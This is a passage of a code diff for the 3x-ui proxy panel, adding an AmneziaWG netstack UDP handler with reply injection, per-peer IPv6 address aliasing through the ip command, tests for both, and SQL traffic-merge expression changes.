+// dynamically-arbitrary destination -- recovered the same way the TCP
+// forwarder recovers its destination, from the packet's own transport
+// endpoint ID, never from a preconfigured table. The handler owns all flow
+// tracking and reply delivery (via WriteUDPReply): gVisor has no
+// udp.NewForwarder the way it does for TCP, so unlike AttachTCPForwarder
+// this can't just hand back a ready net.Conn.
+type UDPHandler func(src, dst netip.AddrPort, payload []byte)
+
+// AttachUDPHandler attaches a raw UDP handler to gstack, independently
+// enabling the same promiscuous+spoofing mode AttachTCPForwarder needs --
+// safe and idempotent to call regardless of whether AttachTCPForwarder was
+// attached to the same stack first, or at all. Adapted from xtls/xray-core's
+// proxy/wireguard/tun.go UDP path (MIT), which hand-tracks flows for the
+// identical reason: gVisor doesn't provide a UDP forwarder.
+func AttachUDPHandler(gstack *stack.Stack, handler UDPHandler) {
+	enablePromiscuousRouting(gstack)
+
+	gstack.SetTransportProtocolHandler(udp.ProtocolNumber, func(id stack.TransportEndpointID, pkt *stack.PacketBuffer) bool {
+		data := pkt.Clone().Data().AsRange().ToSlice()
+		src := netip.AddrPortFrom(addrFromTcpip(id.RemoteAddress), id.RemotePort)
+		dst := netip.AddrPortFrom(addrFromTcpip(id.LocalAddress), id.LocalPort)
+		handler(src, dst, data)
+		return true
+	})
+}
+
+// WriteUDPReply injects a UDP packet into gstack as if it arrived from
+// `from` addressed to `to` -- i.e. a reply travelling back into the tunnel
+// toward the client -- constructed by hand since gVisor exposes no
+// connected-socket-style Write for an address the stack doesn't itself own.
+func WriteUDPReply(gstack *stack.Stack, from, to netip.AddrPort, payload []byte) error {
+	udpLen := header.UDPMinimumSize + len(payload)
+	srcIP := tcpip.AddrFromSlice(from.Addr().AsSlice())
+	dstIP := tcpip.AddrFromSlice(to.Addr().AsSlice())
+
+	isIPv4 := from.Addr().Is4()
+	ipHdrSize := header.IPv6MinimumSize
+	ipProtocol := header.IPv6ProtocolNumber
+	if isIPv4 {
+		ipHdrSize = header.IPv4MinimumSize
+		ipProtocol = header.IPv4ProtocolNumber
+	}
+
+	pkt := stack.NewPacketBuffer(stack.PacketBufferOptions{
+		ReserveHeaderBytes: ipHdrSize + header.UDPMinimumSize,
+		Payload:            buffer.MakeWithData(payload),
+	})
+	defer pkt.DecRef()
+
+	udpHdr := header.UDP(pkt.TransportHeader().Push(header.UDPMinimumSize))
+	udpHdr.Encode(&header.UDPFields{
+		SrcPort: from.Port(),
+		DstPort: to.Port(),
+		Length:  uint16(udpLen),
+	})
+	xsum := header.PseudoHeaderChecksum(header.UDPProtocolNumber, srcIP, dstIP, uint16(udpLen))
+	udpHdr.SetChecksum(^udpHdr.CalculateChecksum(checksum.Checksum(payload, xsum)))
+
+	if isIPv4 {
+		ipHdr := header.IPv4(pkt.NetworkHeader().Push(header.IPv4MinimumSize))
+		ipHdr.Encode(&header.IPv4Fields{
+			TotalLength: uint16(header.IPv4MinimumSize + udpLen),
+			TTL:         64,
+			Protocol:    uint8(header.UDPProtocolNumber),
+			SrcAddr:     srcIP,
+			DstAddr:     dstIP,
+		})
+		ipHdr.SetChecksum(^ipHdr.CalculateChecksum())
+	} else {
+		ipHdr := header.IPv6(pkt.NetworkHeader().Push(header.IPv6MinimumSize))
+		ipHdr.Encode(&header.IPv6Fields{
+			PayloadLength:     uint16(udpLen),
+			TransportProtocol: header.UDPProtocolNumber,
+			HopLimit:          64,
+			SrcAddr:           srcIP,
+			DstAddr:           dstIP,
+		})
+	}
+
+	if tcpipErr := gstack.WriteRawPacket(1, ipProtocol, buffer.MakeWithView(pkt.ToView())); tcpipErr != nil {
+		return fmt.Errorf("amneziawgnet: WriteRawPacket: %s", tcpipErr)
+	}
+	return nil
+}

+ 156 - 0
internal/amneziawgnet/udp_test.go

@@ -0,0 +1,156 @@
+package amneziawgnet
+
+import (
+	"fmt"
+	"net/netip"
+	"testing"
+	"time"
+
+	awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+	"github.com/amnezia-vpn/amneziawg-go/v3/device"
+	"github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestNewDeviceUDPHandlerAndReply is the UDP counterpart of
+// TestNewDeviceHandshakeForwarderAndIdentity: this package's own udp.go was
+// refactored from the Phase 0 spike's bake-the-dial-in version to a generic
+// handler-plus-reply-injection design (see AttachUDPHandler/WriteUDPReply's
+// doc comments), a real behavior change worth its own verification rather
+// than assuming the port preserved correctness -- UDP was flagged as "the
+// harder half" in the migration plan's own risk list, precisely because
+// gVisor has no udp.NewForwarder and the reply path has to be constructed
+// by hand.
+func TestNewDeviceUDPHandlerAndReply(t *testing.T) {
+	serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate server keypair: %v", err)
+	}
+	clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+	if err != nil {
+		t.Fatalf("generate client keypair: %v", err)
+	}
+
+	const listenPort = 58713 // distinct from the TCP test's port
+	const wantEmail = "[email protected]"
+	const echoPayload = "hello-from-client"
+
+	inst := amneziawg.Instance{
+		Id:            2,
+		InterfaceName: "awgtest2",
+		ListenPort:    listenPort,
+		PrivateKey:    serverPriv,
+		PublicKey:     serverPub,
+		Address:       []string{"10.202.0.1/24"},
+		MTU:           1420,
+		Obfuscation: amneziawg.Obfuscation31{
+			Jc: 4, Jmin: 40, Jmax: 70,
+			S1: 20, S2: 30, S3: 20, S4: 20,
+		},
+		Peers: []amneziawg.Peer{{
+			Email:      wantEmail,
+			PublicKey:  clientPub,
+			AllowedIPs: []string{"10.202.0.2/32"},
+		}},
+	}
+
+	dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+	if err != nil {
+		t.Fatalf("newUnconfiguredDevice: %v", err)
+	}
+	defer dev.Close()
+
+	idx := NewPeerIndex(inst.Peers)
+	// Never configured anywhere server-side, same idea as the TCP test.
+	wantDest := netip.MustParseAddrPort("10.202.9.9:5353")
+
+	identityErrCh := make(chan error, 8)
+	AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+		if peer, ok := idx.Lookup(src.Addr()); !ok || peer.Email != wantEmail {
+			identityErrCh <- fmt.Errorf("peer identity lookup for src %v: ok=%v email=%q, want %q", src, ok, peer.Email, wantEmail)
+			return
+		}
+		if dst != wantDest {
+			identityErrCh <- fmt.Errorf("recovered dest = %v, want %v", dst, wantDest)
+			return
+		}
+		// Echo the payload back, posing as a reply from the destination the
+		// client dialed -- exactly what a real relay's downstream reply
+		// would look like from the tunnel's point of view.
+		if err := WriteUDPReply(dev.Stack, dst, src, payload); err != nil {
+			identityErrCh <- fmt.Errorf("WriteUDPReply: %w", err)
+		}
+	})
+
+	// Configure (IpcSet) must come after AttachUDPHandler -- see
+	// newUnconfiguredDevice's doc comment.
+	if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+		t.Fatalf("Configure: %v", err)
+	}
+
+	clientTun, clientNet, err := netstack.CreateNetTUN(
+		[]netip.Addr{netip.MustParseAddr("10.202.0.2")},
+		[]netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+	if err != nil {
+		t.Fatalf("client CreateNetTUN: %v", err)
+	}
+	clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+	defer clientDev.Close()
+
+	clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+	if err != nil {
+		t.Fatalf("client key to hex: %v", err)
+	}
+	serverPubHex, err := wireguard.KeyToHex(serverPub)
+	if err != nil {
+		t.Fatalf("server key to hex: %v", err)
+	}
+	clientConf := fmt.Sprintf(
+		"private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+		clientPrivHex, serverPubHex, listenPort)
+	if err := clientDev.IpcSet(clientConf); err != nil {
+		t.Fatalf("client IpcSet: %v", err)
+	}
+	if err := clientDev.Up(); err != nil {
+		t.Fatalf("client Up: %v", err)
+	}
+
+	conn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, wantDest)
+	if err != nil {
+		t.Fatalf("client DialUDPAddrPort: %v", err)
+	}
+	defer conn.Close()
+
+	deadline := time.Now().Add(5 * time.Second)
+	var buf [256]byte
+	for {
+		select {
+		case err := <-identityErrCh:
+			t.Fatal(err)
+		default:
+		}
+
+		_ = conn.SetWriteDeadline(time.Now().Add(200 * time.Millisecond))
+		if _, err := conn.Write([]byte(echoPayload)); err != nil {
+			if time.Now().After(deadline) {
+				t.Fatalf("client write never succeeded: %v", err)
+			}
+			continue
+		}
+
+		_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
+		n, err := conn.Read(buf[:])
+		if err != nil {
+			if time.Now().After(deadline) {
+				t.Fatalf("client never received a reply: %v", err)
+			}
+			continue
+		}
+		if got := string(buf[:n]); got != echoPayload {
+			t.Fatalf("echoed payload = %q, want %q", got, echoPayload)
+		}
+		return
+	}
+}

+ 165 - 0
internal/amneziawgnet/v6alias.go

@@ -0,0 +1,165 @@
+// Phase 3.5: restoring each opted-in peer's distinct public IPv6 source
+// identity for peer-initiated outbound connections. The retired
+// kernel-module architecture used NDP-proxying (ip -6 neigh add proxy) to
+// hand inbound traffic off to a real awg<N> kernel interface — this path has
+// no such interface at all (the tunnel lives entirely inside an in-process
+// gVisor netstack), so there is nothing for NDP-proxying to forward into.
+// Scoped to what this path actually needs — a peer's own outbound
+// connections carrying a distinct source address, not unsolicited inbound
+// connections toward the peer (that's the separate, not-yet-built Phase
+// 3.6 port-forwarding) — a host-owned address alias is sufficient and
+// simpler: once the kernel genuinely owns the address, Xray's freedom
+// outbound can bind an egress socket to it, and return traffic lands on a
+// normal, locally-owned address with no forwarding or NDP-proxy involved.
+package amneziawgnet
+
+import (
+	"bytes"
+	"context"
+	"os/exec"
+	"strings"
+	"time"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+	"github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// v6Alias is one host-owned IPv6 address alias this package manages, always
+// applied as a /128 regardless of whatever prefix width the peer's own
+// AllowedIPs entry happens to use.
+type v6Alias struct {
+	Addr  string
+	Iface string
+}
+
+// effectiveIPv6ExternalInterface returns IPv6ExternalInterface if the admin
+// set one, falling back to ExternalInterface — matches the frontend's own
+// ipv6ExternalInterfaceHint copy ("Leave empty to reuse External
+// Interface") and the retired kernel-module PostUp's identical fallback.
+func effectiveIPv6ExternalInterface(inst amneziawg.Instance) string {
+	if inst.IPv6ExternalInterface != "" {
+		return inst.IPv6ExternalInterface
+	}
+	return inst.ExternalInterface
+}
+
+// V6AliasesActive reports whether inst is fully configured for per-peer IPv6
+// identity. The Xray-side v6 egress injector must use this exact gate too —
+// see xray.go's injectAmneziawgV6Egress — so the two halves can't diverge.
+func V6AliasesActive(inst amneziawg.Instance) bool {
+	return inst.IPv6Enabled && effectiveIPv6ExternalInterface(inst) != ""
+}
+
+// desiredV6Aliases returns the aliases inst wants right now, keyed by peer
+// email. Empty whenever inst isn't fully configured for this feature
+// (IPv6Enabled false, or no usable interface either way) — deliberately
+// what makes "IPv6 toggled off" fall out of diffV6Aliases for free, rather
+// than a separate branch anywhere else.
+func desiredV6Aliases(inst amneziawg.Instance) map[string]v6Alias {
+	out := map[string]v6Alias{}
+	if !V6AliasesActive(inst) {
+		return out
+	}
+	iface := effectiveIPv6ExternalInterface(inst)
+	for _, p := range inst.Peers {
+		if p.Email == "" {
+			continue
+		}
+		if addr := amneziawg.FirstIPv6(p.AllowedIPs); addr != "" {
+			out[p.Email] = v6Alias{Addr: addr, Iface: iface}
+		}
+	}
+	return out
+}
+
+// diffV6Aliases returns the ip -6 addr add/del calls needed to move the
+// host from oldInst's alias set to newInst's. Pass amneziawg.Instance{} as
+// oldInst for "nothing was aliased before" (a brand new instance) and as
+// newInst for "tear down entirely" (Remove/StopAll/Reconcile's stop-loop).
+// A peer whose alias is unchanged appears in neither slice — the common
+// case on every steady-state reconcile tick, so a healthy system issues no
+// exec calls at all most of the time.
+func diffV6Aliases(oldInst, newInst amneziawg.Instance) (add, remove []v6Alias) {
+	oldSet, newSet := desiredV6Aliases(oldInst), desiredV6Aliases(newInst)
+	for email, oldAlias := range oldSet {
+		if newAlias, ok := newSet[email]; ok && newAlias == oldAlias {
+			continue
+		}
+		remove = append(remove, oldAlias)
+	}
+	for email, newAlias := range newSet {
+		if oldAlias, ok := oldSet[email]; ok && oldAlias == newAlias {
+			continue
+		}
+		add = append(add, newAlias)
+	}
+	return add, remove
+}
+
+// runIP is the seam tests swap to assert exact invocations without a real
+// ip binary — this package has no internal/database dependency, so
+// everything except this var's real invocation builds and unit-tests fine
+// even on a non-Linux dev machine; the real command is verified manually
+// against a Linux VPS, matching this project's established verification
+// pattern for other OS-effecting AmneziaWG changes.
+var runIP = func(ctx context.Context, args ...string) (stderr string, err error) {
+	cmd := exec.CommandContext(ctx, "ip", args...)
+	var buf bytes.Buffer
+	cmd.Stderr = &buf
+	err = cmd.Run()
+	return buf.String(), err
+}
+
+const ipCommandTimeout = 3 * time.Second
+
+// applyV6Aliases runs every add before any remove, so a peer whose address
+// changed is never briefly unaliased (briefly having both old and new
+// aliased at once is harmless). Never surfaces an error — an alias failing
+// only narrows that one peer's own outbound-source-identity feature, never
+// a reason to fail the tunnel or its SOCKS5 relay.
+func applyV6Aliases(add, remove []v6Alias) {
+	for _, a := range add {
+		addV6Alias(a)
+	}
+	for _, a := range remove {
+		removeV6Alias(a)
+	}
+}
+
+func addV6Alias(a v6Alias) {
+	ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
+	defer cancel()
+	// nodad: this address is a specific peer's own admin-assigned identity,
+	// nothing else on the link should ever claim it, so the ~1s Duplicate
+	// Address Detection window before the kernel would otherwise mark it
+	// usable is pure latency with no real collision to detect.
+	stderr, err := runIP(ctx, "-6", "addr", "add", a.Addr+"/128", "dev", a.Iface, "nodad")
+	if err == nil {
+		logger.Infof("amneziawgnet: aliased IPv6 address %s onto %s", a.Addr, a.Iface)
+		return
+	}
+	if strings.Contains(stderr, "File exists") {
+		// Already the desired end state -- most commonly hit once, harmlessly,
+		// right after an ungraceful panel restart (the OS-level alias from
+		// before the crash outlives the process; the in-memory managed map
+		// doesn't).
+		return
+	}
+	logger.Warningf("amneziawgnet: alias IPv6 address %s onto %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
+}
+
+func removeV6Alias(a v6Alias) {
+	ctx, cancel := context.WithTimeout(context.Background(), ipCommandTimeout)
+	defer cancel()
+	stderr, err := runIP(ctx, "-6", "addr", "del", a.Addr+"/128", "dev", a.Iface)
+	if err == nil {
+		logger.Infof("amneziawgnet: removed IPv6 alias %s from %s", a.Addr, a.Iface)
+		return
+	}
+	if strings.Contains(stderr, "Cannot assign requested address") || strings.Contains(stderr, "Cannot find device") {
+		// Already gone (the address itself, or the whole interface) -- for a
+		// delete, the desired end state ("not aliased here") already holds.
+		return
+	}
+	logger.Warningf("amneziawgnet: remove IPv6 alias %s from %s: %v (%s)", a.Addr, a.Iface, err, strings.TrimSpace(stderr))
+}

+ 277 - 0
internal/amneziawgnet/v6alias_test.go

@@ -0,0 +1,277 @@
+package amneziawgnet
+
+import (
+	"context"
+	"errors"
+	"testing"
+
+	"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+)
+
+func peerWithIPs(email string, ips ...string) amneziawg.Peer {
+	return amneziawg.Peer{Email: email, PublicKey: "pub-" + email, AllowedIPs: ips}
+}
+
+func instV6(enabled bool, extIface, v6ExtIface string, peers ...amneziawg.Peer) amneziawg.Instance {
+	return amneziawg.Instance{
+		Id:                    1,
+		IPv6Enabled:           enabled,
+		ExternalInterface:     extIface,
+		IPv6ExternalInterface: v6ExtIface,
+		Peers:                 peers,
+	}
+}
+
+func TestV6AliasesActive(t *testing.T) {
+	cases := []struct {
+		name string
+		inst amneziawg.Instance
+		want bool
+	}{
+		{"enabled with interface", instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), true},
+		{"enabled, IPv6ExternalInterface only", instV6(true, "", "eth1", peerWithIPs("a@x", "fd86::2/128")), true},
+		{"disabled", instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")), false},
+		{"enabled, no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128")), false},
+	}
+	for _, c := range cases {
+		if got := V6AliasesActive(c.inst); got != c.want {
+			t.Errorf("%s: V6AliasesActive = %v, want %v", c.name, got, c.want)
+		}
+	}
+}
+
+func TestDesiredV6AliasesDisabledOrNoInterfaceReturnsEmpty(t *testing.T) {
+	cases := []struct {
+		name string
+		inst amneziawg.Instance
+	}{
+		{"IPv6Enabled false", instV6(false, "", "eth0", peerWithIPs("a@x", "fd86::2/128"))},
+		{"no interface either way", instV6(true, "", "", peerWithIPs("a@x", "fd86::2/128"))},
+	}
+	for _, c := range cases {
+		if got := desiredV6Aliases(c.inst); len(got) != 0 {
+			t.Errorf("%s: desiredV6Aliases = %v, want empty", c.name, got)
+		}
+	}
+}
+
+func TestDesiredV6AliasesFallsBackToExternalInterface(t *testing.T) {
+	inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	got := desiredV6Aliases(inst)
+	if got["a@x"].Iface != "eth0" {
+		t.Fatalf("expected fallback to ExternalInterface eth0, got %+v", got)
+	}
+
+	inst2 := instV6(true, "eth0", "eth1", peerWithIPs("a@x", "fd86::2/128"))
+	got2 := desiredV6Aliases(inst2)
+	if got2["a@x"].Iface != "eth1" {
+		t.Fatalf("expected IPv6ExternalInterface eth1 to win over ExternalInterface, got %+v", got2)
+	}
+}
+
+func TestDesiredV6AliasesSkipsPeersWithoutEmailOrV6Address(t *testing.T) {
+	inst := instV6(true, "eth0", "",
+		peerWithIPs("", "fd86::2/128"),    // no email
+		peerWithIPs("b@x", "10.8.1.2/32"), // v4 only, no v6
+		peerWithIPs("c@x", "fd86::3/128"), // qualifies
+	)
+	got := desiredV6Aliases(inst)
+	if len(got) != 1 {
+		t.Fatalf("desiredV6Aliases = %+v, want exactly one entry (c@x)", got)
+	}
+	if _, ok := got["c@x"]; !ok {
+		t.Fatalf("desiredV6Aliases = %+v, want c@x present", got)
+	}
+}
+
+func TestDiffV6AliasesNoOpWhenUnchanged(t *testing.T) {
+	inst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	add, remove := diffV6Aliases(inst, inst)
+	if len(add) != 0 || len(remove) != 0 {
+		t.Fatalf("expected no-op for an unchanged instance, got add=%v remove=%v", add, remove)
+	}
+}
+
+func TestDiffV6AliasesBrandNewInstanceIsAddOnly(t *testing.T) {
+	newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+	add, remove := diffV6Aliases(amneziawg.Instance{}, newInst)
+	if len(remove) != 0 {
+		t.Fatalf("expected no removals for a brand new instance, got %v", remove)
+	}
+	if len(add) != 2 {
+		t.Fatalf("expected both peers added, got %v", add)
+	}
+}
+
+func TestDiffV6AliasesTornDownInstanceIsRemoveOnly(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+	add, remove := diffV6Aliases(oldInst, amneziawg.Instance{})
+	if len(add) != 0 {
+		t.Fatalf("expected no adds when tearing down, got %v", add)
+	}
+	if len(remove) != 2 {
+		t.Fatalf("expected both peers removed, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesIPv6EnabledToggledOffRemovesAllAddsNone(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	newInst := instV6(false, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // same peers, feature disabled
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 0 {
+		t.Fatalf("expected no adds when IPv6Enabled is toggled off, got %v", add)
+	}
+	if len(remove) != 1 {
+		t.Fatalf("expected the previously-aliased peer removed, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesAddressChangeForSamePeerIsRemoveOldAddNew(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::99/128"))
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 1 || add[0].Addr != "fd86::99" {
+		t.Fatalf("expected new address added, got %v", add)
+	}
+	if len(remove) != 1 || remove[0].Addr != "fd86::2" {
+		t.Fatalf("expected old address removed, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesInterfaceChangeReAliasesUnchangedPeers(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"))
+	newInst := instV6(true, "eth1", "", peerWithIPs("a@x", "fd86::2/128")) // same address, interface moved
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 1 || add[0].Iface != "eth1" {
+		t.Fatalf("expected re-add on the new interface, got %v", add)
+	}
+	if len(remove) != 1 || remove[0].Iface != "eth0" {
+		t.Fatalf("expected removal from the old interface, got %v", remove)
+	}
+}
+
+func TestDiffV6AliasesPeerRemovedFromInstanceIsRemoveOnly(t *testing.T) {
+	oldInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128"), peerWithIPs("b@x", "fd86::3/128"))
+	newInst := instV6(true, "eth0", "", peerWithIPs("a@x", "fd86::2/128")) // b@x removed
+	add, remove := diffV6Aliases(oldInst, newInst)
+	if len(add) != 0 {
+		t.Fatalf("expected no adds, got %v", add)
+	}
+	if len(remove) != 1 || remove[0].Addr != "fd86::3" {
+		t.Fatalf("expected only b@x's address removed, got %v", remove)
+	}
+}
+
+// --- exec-layer tests: swap runIP, never invoke a real ip binary ---
+
+func withFakeRunIP(t *testing.T, fn func(ctx context.Context, args ...string) (string, error)) *[][]string {
+	t.Helper()
+	var calls [][]string
+	orig := runIP
+	runIP = func(ctx context.Context, args ...string) (string, error) {
+		calls = append(calls, append([]string(nil), args...))
+		return fn(ctx, args...)
+	}
+	t.Cleanup(func() { runIP = orig })
+	return &calls
+}
+
+func TestAddV6AliasPassesExpectedArgs(t *testing.T) {
+	calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "", nil
+	})
+	addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+	if len(*calls) != 1 {
+		t.Fatalf("expected exactly one runIP call, got %d", len(*calls))
+	}
+	want := []string{"-6", "addr", "add", "fd86::2/128", "dev", "eth0", "nodad"}
+	got := (*calls)[0]
+	if len(got) != len(want) {
+		t.Fatalf("args = %v, want %v", got, want)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Fatalf("args = %v, want %v", got, want)
+		}
+	}
+}
+
+func TestAddV6AliasFileExistsIsSwallowed(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "RTNETLINK answers: File exists", errors.New("exit status 2")
+	})
+	// Must not panic and must return normally -- there is nothing else to
+	// assert on since addV6Alias has no return value, matching this
+	// codebase's existing best-effort exec-call conventions (no test in
+	// this repo asserts on logger output for a swallowed vs. warned
+	// classification; see internal/web/service/server.go's own untested
+	// exec.CommandContext call sites).
+	addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestAddV6AliasOtherFailureDoesNotPanic(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "RTNETLINK answers: Cannot find device \"eth9\"", errors.New("exit status 1")
+	})
+	addV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth9"})
+}
+
+func TestRemoveV6AliasPassesExpectedArgs(t *testing.T) {
+	calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "", nil
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+	want := []string{"-6", "addr", "del", "fd86::2/128", "dev", "eth0"}
+	got := (*calls)[0]
+	if len(got) != len(want) {
+		t.Fatalf("args = %v, want %v", got, want)
+	}
+	for i := range want {
+		if got[i] != want[i] {
+			t.Fatalf("args = %v, want %v", got, want)
+		}
+	}
+}
+
+func TestRemoveV6AliasAddressAlreadyGoneIsSwallowed(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "RTNETLINK answers: Cannot assign requested address", errors.New("exit status 2")
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestRemoveV6AliasDeviceAlreadyGoneIsSwallowed(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "Cannot find device \"eth0\"", errors.New("exit status 1")
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestRemoveV6AliasOtherFailureDoesNotPanic(t *testing.T) {
+	withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		return "some unrelated failure", errors.New("exit status 1")
+	})
+	removeV6Alias(v6Alias{Addr: "fd86::2", Iface: "eth0"})
+}
+
+func TestApplyV6AliasesAddsBeforeRemoves(t *testing.T) {
+	var order []string
+	calls := withFakeRunIP(t, func(ctx context.Context, args ...string) (string, error) {
+		if args[2] == "add" {
+			order = append(order, "add")
+		} else {
+			order = append(order, "del")
+		}
+		return "", nil
+	})
+	applyV6Aliases(
+		[]v6Alias{{Addr: "fd86::99", Iface: "eth0"}},
+		[]v6Alias{{Addr: "fd86::2", Iface: "eth0"}},
+	)
+	if len(*calls) != 2 {
+		t.Fatalf("expected exactly 2 calls, got %d", len(*calls))
+	}
+	if order[0] != "add" || order[1] != "del" {
+		t.Fatalf("expected add before del, got order=%v", order)
+	}
+}

+ 25 - 2
internal/database/dialect.go

@@ -37,9 +37,32 @@ func GreatestExpr(a, b string) string {
 	return fmt.Sprintf("MAX(%s, %s)", a, b)
 	return fmt.Sprintf("MAX(%s, %s)", a, b)
 }
 }
 
 
+// ClientTrafficEnableMergeExpr: placeholders nodeEnable, nodeExpiry, nodeTotal,
+// now, deltaUp, deltaDown. Mirrors nodeDisableIsStale (#6228 / #4917).
 func ClientTrafficEnableMergeExpr() string {
 func ClientTrafficEnableMergeExpr() string {
 	if IsPostgres() {
 	if IsPostgres() {
-		return "CASE WHEN ?::boolean THEN enable::boolean ELSE false END"
+		return `CASE
+			WHEN ?::boolean THEN enable::boolean
+			WHEN (expiry_time <> CAST(? AS BIGINT) OR total <> CAST(? AS BIGINT))
+				AND (expiry_time <= 0 OR expiry_time > CAST(? AS BIGINT))
+				AND (total <= 0 OR up + ? + down + ? < total) THEN enable::boolean
+			ELSE false
+		END`
 	}
 	}
-	return "CASE WHEN ? THEN enable ELSE 0 END"
+	return `CASE
+		WHEN ? THEN enable
+		WHEN (expiry_time <> CAST(? AS BIGINT) OR total <> CAST(? AS BIGINT))
+			AND (expiry_time <= 0 OR expiry_time > CAST(? AS BIGINT))
+			AND (total <= 0 OR up + ? + down + ? < total) THEN enable
+		ELSE 0
+	END`
+}
+
+// ClientTrafficExpiryMergeExpr: placeholder nodeExpiry once. Master absolute is
+// kept; CAST avoids Postgres int4 inference on ms timestamps.
+func ClientTrafficExpiryMergeExpr() string {
+	return `CASE
+		WHEN expiry_time > 0 THEN expiry_time
+		ELSE CAST(? AS BIGINT)
+	END`
 }
 }

+ 59 - 40
internal/database/model/model.go

@@ -32,6 +32,7 @@ const (
 	WireGuard   Protocol = "wireguard"
 	WireGuard   Protocol = "wireguard"
 	Hysteria    Protocol = "hysteria"
 	Hysteria    Protocol = "hysteria"
 	MTProto     Protocol = "mtproto"
 	MTProto     Protocol = "mtproto"
+	AmneziaWG   Protocol = "amneziawg"
 )
 )
 
 
 // User represents a user account in the 3x-ui panel.
 // User represents a user account in the 3x-ui panel.
@@ -61,7 +62,7 @@ type Inbound struct {
 	// Xray configuration fields
 	// Xray configuration fields
 	Listen            string   `json:"listen" form:"listen"`
 	Listen            string   `json:"listen" form:"listen"`
 	Port              int      `json:"port" form:"port" validate:"gte=0,lte=65535" example:"443"`
 	Port              int      `json:"port" form:"port" validate:"gte=0,lte=65535" example:"443"`
-	Protocol          Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto" example:"vless"`
+	Protocol          Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto amneziawg" example:"vless"`
 	Settings          string   `json:"settings" form:"settings"`
 	Settings          string   `json:"settings" form:"settings"`
 	StreamSettings    string   `json:"streamSettings" form:"streamSettings"`
 	StreamSettings    string   `json:"streamSettings" form:"streamSettings"`
 	Tag               string   `json:"tag" form:"tag" gorm:"unique" example:"in-443-tcp"`
 	Tag               string   `json:"tag" form:"tag" gorm:"unique" example:"in-443-tcp"`
@@ -871,31 +872,40 @@ type ClientReverse struct {
 
 
 // Client represents a client configuration for Xray inbounds with traffic limits and settings.
 // Client represents a client configuration for Xray inbounds with traffic limits and settings.
 type Client struct {
 type Client struct {
-	ID           string         `json:"id,omitempty"`       // Unique client identifier
-	Security     string         `json:"security"`           // Security method (e.g., "auto", "aes-128-gcm")
-	Password     string         `json:"password,omitempty"` // Client password
-	Flow         string         `json:"flow,omitempty"`     // Flow control (XTLS)
-	Reverse      *ClientReverse `json:"reverse,omitempty"`  // VLESS simple reverse proxy settings
-	Auth         string         `json:"auth,omitempty"`     // Auth password (Hysteria)
